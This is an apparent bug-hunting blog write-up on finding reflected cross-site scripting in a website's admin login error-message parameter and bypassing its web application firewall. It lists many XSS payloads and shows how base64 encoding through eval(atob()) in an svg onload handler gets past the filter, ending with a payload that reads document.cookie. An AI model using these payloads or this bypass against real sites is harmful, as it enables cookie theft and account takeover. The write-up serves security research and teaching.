Bypassing WAF to perform XSS
Recently I was hunting for some XSS and I come up to a website (lets call it website.com for privacy reason) where it had an admin login form on /admin directory.
Instinctively I tried entering random credentials to see what kind of response I will get.
/admin/index.php?msg=Invalid Email and Password
This is the URL I got redirected to, by default this is a very bad idea to display an error message, but it is an implementation I see a lot on different websites.
Any value of ?msg= could be reflected into the website, so lets try to change it to better understand.
What I tried was website.com/admin/index.php?msg=Hello World
Now we see that every input we enter, gets reflected into that Red-Fonted text.
What if I try injecting some HTML tags?
?msg=<h1>Hello World</h1>
We got a successful HTML Injection, now its time to put some Javascript code.
I tried more than 50 basic XSS payloads, with a hope for XSS to popup:
?msg=<script>alert(1)</script>
?msg=<img src=xss onerror=alert(1)>
?msg=<input/onmouseover=”javaSCRIPT:confirm(1)”
?msg=<iframe %00 src=”	javascript:prompt(1)	”%00>
You get the idea that I bruteforced all type of XSS. All of them were blocked by the server, seems there is a WAF behind the scene:
By entering more than 50 XSS Payloads, I came up to a conclusion of what WAF was really filtering:
Every payload with <script>, <frame, <input, <form, was directly blocked by WAF.
Every payload with alert( ) was directly blocked by WAF.
So how will we popup a XSS when alert() was filtered out?
While guessing, I realised that <img wasn’t filtered out, so I start making more complex payload based on that:
?msg=<img/src=`%00`%20onerror=this.onerror=confirm(1)
was my next payload, it got reflected but no XSS :(
Seems like XSS by image isn’t the right path so I kept enumerating more, since it gets reflected, but it doesn’t execute anything inside it.
Soon, I realised that <svg> wasn’t filtered out, so I kept following this path. Since alert( ) is blocked, I’m trying confirm( ) since it worked.
<svg><script%20?>confirm(1)
I had a feeling I was close since it reflected a blank space, I just have to keep going on more. Since there is a WAF, I tried different bypasses, including Base64 decode with eval.atob. I kept using <svg> since It somehow worked.
<svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>
This payload basically decode the base64 value which is alert(‘XSS’). I immediately fired up the payload and, guess what I see, a XSS!!!
Encoding a XSS payload (which was filtered out by WAF) into a base64, it really gave me the freedom to execute whatever I want.
<svg/onload=eval(atob(‘YWxlcnQoZG9jdW1lbnQuY29va2llKQ==’))>
The following base64 is alert(document.cookie) and it went as expected.
Now I have the freedom to execute everything I want since everything is encoded in Base64 and not detected by WAF, and this is something everyone wants! In additional, this XSS took me 20 minutes, but it was more like a fun challenge for me.